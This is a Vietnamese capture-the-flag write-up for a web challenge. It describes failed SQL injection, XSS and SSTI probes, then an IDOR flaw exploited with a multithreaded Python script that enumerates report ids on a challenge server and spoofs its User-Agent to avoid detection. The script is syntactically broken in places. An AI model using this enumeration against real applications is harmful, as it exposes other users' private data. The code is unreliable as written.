Intern Portal
CTF Write-up
## Debug Disaster
Challenge Information
- Category: Web Exploitation
- Event: CTF@CIT 2026
- Author: 10splayaSec
- Difficulty: Hidden
- Tags: #web
1. Description
The intern said they made a custom report application… but I don’t think security was in mind.
2. Overview
Một bài blackbox nhưng cũng đơn giản nốt =))
3. Reconnaissance
Giao diện ban đầu là một trang login / register đập vào mặt:

Mình cũng đã thử các payload nhận biết sql injection thì hầu hết phản ứng của web vẫn không có gì đáng ngờ, nên mình tạo account và login luôn xem bên trong như thế nào:

Đây có thể là một trang có chức năng tương tụ kiểu các app to-do list (nhập vào và ghim lên) hoặc có thể là một trang có sẵn bot check các report, mình sẽ tạo thử 1 report:

Vào xem thử thì cũng chưa thấy gì:

Thử các payload XSS:

Thử SSTI:

Mình nghĩ đây chỉ là text thông thường và server sẽ không thực thi các input này, lúc này nhìn lên thanh URL thì mình thấy các report này được định danh bởi tham số id, thử đổi bừa /report?id=1 xem:

-> Có lẽ đây là IDOR rồi =)))
Test vài id khác thì lại ra những report của các player trước:

Xác nhận IDOR -> Viết script để brute force thử thôi
4. Exploitation
Gửi các request đến /report với id từ 0 đến 20000, mình sẽ dùng đa luồng:
import re
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
import threading
TARGET_URL = "http://23.179.17.92:5001/report"
COOKIES = {
"session": "SEESION THỰC TẾ"
}
# Thêm để tranh bị phát hiện script
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36"
}
stop_event = threading.Event()
session = requests.Session()
session.cookies.update(COOKIES)
session.headers.update(HEADERS)
def check_id(i):
"""
Hàm này giờ đây sẽ luôn trả về một tuple: (ID, Trạng thái, Dữ liệu bổ sung) """ if stop_event.is_set():
return (i, "SKIPPED", None)
try:
response = session.get(TARGET_URL, params={'id': i}, timeout=3)
# Nếu trang web trả về 200 và có chữ CIT{
if response.status_code == 200 and "CIT{" in response.text:
if match:
# Trích xuất chính xác đoạn Flag tìm được
flag = match.group(0)
stop_event.set()
return (i, "FOUND", flag)
else:
# Dự phòng trường hợp lỗi regex nhưng vẫn thấy chữ CIT{
stop_event.set()
return (i, "FOUND", response.text)
else:
# Trả về status code
return (i, "NOT_FOUND", response.status_code)
except requests.exceptions.RequestException as e:
# Bắt lỗi timeout hoặc rớt mạng
return (i, "ERROR", str(e))
def main():
print("Bắt đầu quét với Session Cookie và Logging...")
with ThreadPoolExecutor(max_workers=10) as executor:
futures = {executor.submit(check_id, i): i for i in range(20000)}
for future in as_completed(futures):
result = future.result()
if result:
checked_id, status, data = result
if status == "FOUND":
print(f"\n[+] TÌM THẤY FLAG TẠI ID: {checked_id}")
print(f"[+] Nội dung: {data}")
executor.shutdown(wait=False, cancel_futures=True)
break
elif status == "NOT_FOUND":
elif status == "ERROR":
print(f"[!] ID {checked_id}: Lỗi kết nối - {data}")
print("\nKết thúc quá trình.")
if __name__ == "__main__":
main()
Done!!


h@ppy h@ck!n9 (BKSEC)